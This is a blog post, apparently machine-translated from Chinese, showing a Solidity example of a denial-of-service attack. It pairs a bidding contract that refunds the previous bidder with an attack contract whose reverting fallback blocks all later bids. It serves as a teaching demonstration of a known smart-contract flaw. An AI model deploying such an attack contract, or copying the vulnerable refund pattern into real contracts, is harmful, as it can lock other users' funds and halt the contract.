当前位置:网站首页>Solid contract DoS attack
Solid contract DoS attack
2022-04-23 05:36:00 【Dragon_ Breaking wind】
pragma solidity ^0.5.1;
// Business logic , I'll record who gives more money , And return the last person's money
contract longTest2{
address payable add;
uint256 public code;
function setAdd()public payable returns(uint256){
require(msg.value > code);
require(add.send(code));
code = msg.value;
add = msg.sender;
return code;
}
}
pragma solidity ^0.5.1;
interface Aunt{
function setAdd()external payable;
}
// Attack contracts
contract longTest{
Aunt auntPas = Aunt(0xB302F922B24420f3A3048ddDC4E2761CE37Ea098);
function set()public payable {
auntPas.setAdd.value(msg.value)();
}
// Write a rollback function , After I give money once, people who give more money later can't call , It means that I have given the money to , I don't want you to come back
function() external payable{
revert();
}
}
版权声明
本文为[Dragon_ Breaking wind]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230530580536.html
边栏推荐
- JSON.
- Wbpack configuring production development environment
- Self incrementing sequence creation of MySQL
- Three methods of list rendering
- Rog attack
- IPI interrupt
- C, class library
- [machine learning] scikit learn introduction
- World and personal development
- [triangle Yang Hui triangle printing odd even cycle JS for break cycle]
猜你喜欢

AcWing 836. Merge set (merge set)

Arithmetic and logical operations

Breadth first search topics (BFS)

Necessity of selenium preloading cookies
![[the background color changes after clicking a line]](/img/3a/709d47fd3a370d86569fb9b560b403.png)
[the background color changes after clicking a line]

Flutter 新一代图形渲染器 Impeller

Quick app bottom navigation bar

Uncle wolf is looking for a translator -- Plato -- ongoing translation

deep learning object detection
![[no title] Click the classification jump page to display the details](/img/a6/fb302129c06e07b8d1eddeaabc9d2d.png)
[no title] Click the classification jump page to display the details
随机推荐
Basic knowledge of redis
QT drawpixmap and DrawImage blur problem
[the background color changes after clicking a line]
Various situations of data / component binding
Find the number of "blocks" in the matrix (BFS)
使用宝塔+xdebug+vscode远程调试代码
QT displays the specified position and size of the picture
acwing854. Floyd finds the shortest path
C, class library
Camera imaging + homography transformation + camera calibration + stereo correction
Arithmetic and logical operations
AcWing 1096. Detailed notes of Dungeon Master (3D BFS) code
合约锁仓漏洞
uni使用的一些坑
What financial products will benefit during May Day?
Interview Basics
Uncle wolf is looking for a translator -- Plato -- ongoing translation
提升独立站转化率攻略 | 挽回弃购用户
‘EddiesObservations‘ object has no attribute ‘filled‘
solidity合约DOS攻击